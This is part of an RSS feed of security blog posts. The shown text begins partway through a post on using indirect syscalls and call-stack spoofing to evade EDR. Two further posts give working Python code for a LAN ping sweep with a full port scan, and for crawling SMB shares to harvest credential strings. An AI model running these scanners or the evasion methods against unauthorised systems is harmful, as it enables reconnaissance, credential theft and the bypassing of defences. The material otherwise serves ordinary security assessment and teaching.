src="https://cdn-images-1.medium.com/max/1024/1*kyLfefWKkWqJLCaM9ioYcg.png" /></figure><p>Comparing the thread call stack of direct and indirect syscalls, there are significant differences. In direct syscalls, the syscall itself and its return execution take place in the memory area of ​​the executing process’s .exe file. This results in the top frame of the call stack coming from the .exe’s memory and not from the ntdll.dll’s memory. Such a pattern is with 100% certainty a definitive indicator of compromise (IOC) as it is atypical for standard application behavior.</p><p>On the other hand, indirect syscalls present a more legitimate appearance in the context of the thread call stack. In indirect syscalls, both the execution of the syscall and the return instruction take place within the ntdll.dll’s memory, which is the expected behavior in normal application processes. By replacing direct syscalls with indirect ones, the resulting call stack mimics a more conventional execution pattern. This can be useful to bypass EDR systems that examine the memory area where syscalls and their returns are executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SVhi92lyHSLe4VQNVPgRgQ.png" /></figure><p>The increased legitimacy of the stack frame order when using the indirect syscall proof of concept (POC) is obvious when compared to the stack frame order of an unmodified cmd.exe. To observe this, we simply open a cmd.exe and use Process Hacker to re-examine the stack frames. However, it should be noted that an EDR system that uses Event Tracing for Windows (ETW) to analyze the full call stack can detect anomalies even when indirect syscalls are used. In such scenarios, spoofing the entire call stack may be necessary for more effective evasion, as it helps hide irregular syscall patterns from the watchful eyes of advanced EDR systems.</p><h3><strong>FINDINGS</strong></h3><p>Testing across various Endpoint Detection and Response (EDR) systems has demonstrated that while direct syscalls can still function effectively, their detection rates have increased depending on the specific EDR in use. Indirect syscalls offer a viable alternative, addressing several limitations associated with direct syscalls:</p><h3><strong>Advantages of Indirect Syscalls</strong></h3><p>1. <strong>Legitimate Execution Context</strong>:<br> — The execution of the `syscall` command occurs within the memory space of ntdll.dll, which is considered legitimate by EDR systems. This alignment with expected behavior reduces the likelihood of triggering detection mechanisms that monitor for abnormal syscall execution locations.</p><p>2. <strong>Controlled Return Execution</strong>:<br> — The return statement is executed within the memory of ntdll.dll and points from ntdll.dll memory to the memory of the Indirect Syscall Assembly. This behavior is more legitimate compared to direct syscalls, but it can still raise IOCs depending on the EDR’s capabilities, particularly if the EDR performs call stack analysis.</p><h3><strong>Limitations and IOCs of Indirect Syscalls</strong></h3><p>While indirect syscalls present improvements over direct syscalls, they are not without limitations and can still generate specific IOCs that EDR vendors utilize to create detection rules:</p><p><strong>Call Stack Spoofing:</strong><br> — Indirect syscalls allow for the potential spoofing of the return address, which can place the memory address of the subsequent return at the top of the call stack. This technique can bypass the return address checks implemented by some EDR systems.</p><p><strong>-ETW Monitoring</strong>:<br> — If an EDR employs Event Tracing for Windows (ETW), it can monitor the call stack for unauthorized or impermissible behavior. This capability allows EDRs to detect anomalies that might arise from call stack manipulation, including those stemming from indirect syscalls.</p><h3><strong>Conclusion</strong></h3><p>In summary, while indirect syscalls enhance the evasion strategies against EDR systems, they are no longer a standalone solution for evasion. A comprehensive approach that includes techniques such as call stack spoofing is necessary to effectively navigate the evolving landscape of EDR detection mechanisms. Continuous research and adaptation are essential for maintaining stealth in the face of advanced EDR capabilities.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f096530a8d24" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LAN Network and Port Scanner: A Comprehensive Python Solution]]></title>
            <link>https://medium.com/@nwaozuruchukwuma/lan-network-and-port-scanner-a-comprehensive-python-solution-8792c853330c?source=rss-183c37f955c6------2</link>
            <guid isPermaLink="false">https://medium.com/p/8792c853330c</guid>
            <dc:creator><![CDATA[D4YDR34AM-DEV]]></dc:creator>
            <pubDate>Mon, 05 Aug 2024 10:16:17 GMT</pubDate>
            <atom:updated>2024-08-05T10:16:17.314Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BBz7Qb4dH-6A4k7V0JwgTg.jpeg" /></figure><p>Network administrators and security professionals often need to perform thorough scans of their local area networks (LANs) to identify active hosts and open ports. This article presents a Python script that automates the process of scanning a LAN network, detecting active IP addresses, and performing a comprehensive port scan on each active host.</p><p>The script’s key features include:</p><ol><li>LAN network discovery</li><li>Active host detection using ICMP echo requests (ping)</li><li>Full port scanning (1–65535) on active hosts</li><li>Multi-threaded scanning for improved performance</li><li>Detailed reporting of findings</li></ol><p>Here’s the Python source code for this LAN and port scanner:</p><pre>import ipaddress<br>import threading<br>import socket<br>from concurrent.futures import ThreadPoolExecutor<br>import subprocess<br><br>def ping(ip):<br>    try:<br>        subprocess.check_output([&quot;ping&quot;, &quot;-c&quot;, &quot;1&quot;, &quot;-W&quot;, &quot;1&quot;, str(ip)], stderr=subprocess.DEVNULL)<br>        return True<br>    except subprocess.CalledProcessError:<br>        return False<br><br>def scan_port(ip, port):<br>    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>    sock.settimeout(0.1)<br>    result = sock.connect_ex((str(ip), port))<br>    sock.close()<br>    return port if result == 0 else None<br><br>def scan_host(ip):<br>    print(f&quot;Scanning {ip}...&quot;)<br>    open_ports = []<br>    with ThreadPoolExecutor(max_workers=100) as executor:<br>        futures = [executor.submit(scan_port, ip, port) for port in range(1, 65536)]<br>        for future in futures:<br>            result = future.result()<br>            if result:<br>                open_ports.append(result)<br>    return open_ports<br><br>def scan_network(network):<br>    network = ipaddress.ip_network(network)<br>    active_hosts = []<br><br>    print(&quot;Discovering active hosts...&quot;)<br>    with ThreadPoolExecutor(max_workers=100) as executor:<br>        futures = [executor.submit(ping, ip) for ip in network.hosts()]<br>        for ip, future in zip(network.hosts(), futures):<br>            if future.result():<br>                active_hosts.append(ip)<br><br>    print(f&quot;Found {len(active_hosts)} active hosts.&quot;)<br>    <br>    results = {}<br>    for ip in active_hosts:<br>        open_ports = scan_host(ip)<br>        results[ip] = open_ports<br><br>    return results<br><br>def main():<br>    network = input(&quot;Enter the network to scan (e.g., 192.168.1.0/24): &quot;)<br>    results = scan_network(network)<br><br>    print(&quot;\nScan Results:&quot;)<br>    for ip, ports in results.items():<br>        print(f&quot;\nIP: {ip}&quot;)<br>        if ports:<br>            print(&quot;Open ports:&quot;)<br>            for port in ports:<br>                try:<br>                    service = socket.getservbyport(port)<br>                except:<br>                    service = &quot;Unknown&quot;<br>                print(f&quot;  {port}/tcp - {service}&quot;)<br>        else:<br>            print(&quot;No open ports found.&quot;)<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>Let’s break down the key components of this script:</p><ol><li>Dependencies:</li></ol><ul><li>Standard Python libraries: ipaddress, threading, socket, subprocess</li><li>concurrent.futures for multi-threading</li></ul><p>2. ping function:</p><ul><li>Uses subprocess to run system ping command</li><li>Determines if a host is active</li></ul><p>3. scan_port function:</p><ul><li>Attempts to connect to a specific port on a given IP</li><li>Returns the port number if open, None otherwise</li></ul><p>4. scan_host function:</p><ul><li>Scans all 65,535 ports on a single host</li><li>Uses multi-threading for faster scanning</li></ul><p>5. scan_network function:</p><ul><li>Discovers active hosts in the given network range</li><li>Initiates port scanning for each active host</li></ul><p>6. main function:</p><ul><li>Prompts for the network to scan</li><li>Calls scan_network and displays results</li></ul><p>7. Multi-threading:</p><ul><li>Implemented using ThreadPoolExecutor for both host discovery and port scanning</li><li>Significantly improves scanning speed</li></ul><p>To use this script, simply run it and enter the network range when prompted. For example:</p><pre>Enter the network to scan (e.g., 192.168.1.0/24): 192.168.1.0/24</pre><p>The script will then perform the following steps:</p><ol><li>Discover active hosts in the specified network range</li><li>Scan all ports (1–65535) on each active host</li><li>Display the results, showing open ports and their associated services</li></ol><p>Important considerations:</p><ol><li>This script should only be used on networks you have permission to scan.</li><li>Aggressive port scanning may be detected by intrusion detection systems or firewalls.</li><li>The script uses ICMP echo requests (ping) for host discovery, which may be blocked on some networks.</li></ol><p>Potential improvements:</p><ol><li>Add options for custom port ranges or specific port lists</li><li>Implement service version detection for open ports</li><li>Add output options (e.g., CSV, JSON) for easier integration with other tools</li><li>Implement more sophisticated host discovery methods</li></ol><p>This Python script provides a powerful and flexible tool for network administrators and security professionals to gain insights into their LAN infrastructure and identify potential security issues related to open ports.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8792c853330c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Scanning SMB Shares for Leaked Credentials: A Python Approach]]></title>
            <link>https://medium.com/@nwaozuruchukwuma/scanning-smb-shares-for-leaked-credentials-a-python-approach-82a6e8248e87?source=rss-183c37f955c6------2</link>
            <guid isPermaLink="false">https://medium.com/p/82a6e8248e87</guid>
            <dc:creator><![CDATA[D4YDR34AM-DEV]]></dc:creator>
            <pubDate>Mon, 05 Aug 2024 07:58:04 GMT</pubDate>
            <atom:updated>2024-08-05T07:58:04.369Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*5WqAQRmacxD3VNO051bDMw.jpeg" /></figure><p>Here’s an article describing a Python script for scanning SMB shares to find potentially leaked credentials, along with the source code:</p><p>Scanning SMB Shares for Leaked Credentials: A Python Approach</p><p>In today’s cybersecurity landscape, it’s crucial to identify and address potential vulnerabilities in network file shares. One common issue is the inadvertent exposure of sensitive information, such as credentials, on publicly accessible SMB (Server Message Block) shares. This article presents a Python script that automates the process of scanning SMB shares for files that may contain leaked credentials.</p><p>The Script’s Functionality:</p><p>1. Connects to specified SMB shares<br>2. Recursively scans directories and files<br>3. Searches for potential credential-related keywords<br>4. Reports findings with file locations and relevant content</p><p>Here’s the Python source code for this SMB share scanner:</p><pre><br><br>```python<br>import os<br>from smb.SMBConnection import SMBConnection<br>from smb.smb_structs import OperationFailure<br>import re<br><br>def scan_smb_share(server, share, username, password, domain=&quot;&quot;):<br>    conn = SMBConnection(username, password, &quot;scanner&quot;, server, domain=domain, use_ntlm_v2=True)<br>    <br>    if not conn.connect(server, 445):<br>        print(f&quot;Failed to connect to {server}&quot;)<br>        return<br>    <br>    def scan_directory(path):<br>        try:<br>            files = conn.listPath(share, path)<br>            for file in files:<br>                if file.filename not in [&#39;.&#39;, &#39;..&#39;]:<br>                    full_path = os.path.join(path, file.filename)<br>                    if file.isDirectory:<br>                        scan_directory(full_path)<br>                    else:<br>                        scan_file(full_path)<br>        except OperationFailure:<br>            print(f&quot;Failed to access: {path}&quot;)<br><br>    def scan_file(file_path):<br>        try:<br>            file_obj = conn.retrieveFile(share, file_path)<br>            content = file_obj.read().decode(&#39;utf-8&#39;, errors=&#39;ignore&#39;)<br>            file_obj.close()<br><br>            keywords = [&#39;password&#39;, &#39;username&#39;, &#39;api_key&#39;, &#39;secret&#39;]<br>            for keyword in keywords:<br>                if keyword in content.lower():<br>                    print(f&quot;Potential credential found in: {file_path}&quot;)<br>                    context = re.findall(f&quot;.{{30}}{keyword}.{{30}}&quot;, content.lower())<br>                    for match in context:<br>                        print(f&quot;  Context: ...{match}...&quot;)<br>        except OperationFailure:<br>            print(f&quot;Failed to read: {file_path}&quot;)<br><br>    scan_directory(&quot;&quot;)<br>    conn.close()<br><br># Example usage<br>scan_smb_share(&quot;192.168.1.100&quot;, &quot;public_share&quot;, &quot;guest&quot;, &quot;&quot;)<br>```</pre><p>Let’s break down the key components of this script:</p><p>1. Dependencies:<br> — `pysmb`: A Python SMB client library<br> — `re`: Python’s built-in regular expression module</p><p>2. `scan_smb_share` function:<br> — Establishes a connection to the SMB server<br> — Initiates the scanning process from the root of the share</p><p>3. `scan_directory` function:<br> — Recursively traverses directories within the share<br> — Calls `scan_file` for each file encountered</p><p>4. `scan_file` function:<br> — Retrieves and reads the content of each file<br> — Searches for predefined keywords related to credentials<br> — Reports findings with file paths and contextual information</p><p>5. Error handling:<br> — The script includes basic error handling for connection and access issues</p><p>To use this script, you’ll need to install the `pysmb` library:</p><p>```<br>pip install pysmb<br>```</p><p>Remember to use this tool responsibly and only on networks and systems you have permission to scan. Always follow ethical guidelines and applicable laws when performing security assessments.</p><p>Potential Improvements:<br>1. Add command-line arguments for easier usage<br>2. Implement multi-threading for faster scanning of large shares<br>3. Enhance the keyword list and use regex patterns for more accurate detection<br>4. Integrate with a reporting system for better result management</p><p>By utilizing this Python script, security professionals can efficiently scan SMB shares for potentially leaked credentials, helping to identify and mitigate security risks in their network environments.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=82a6e8248e87" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>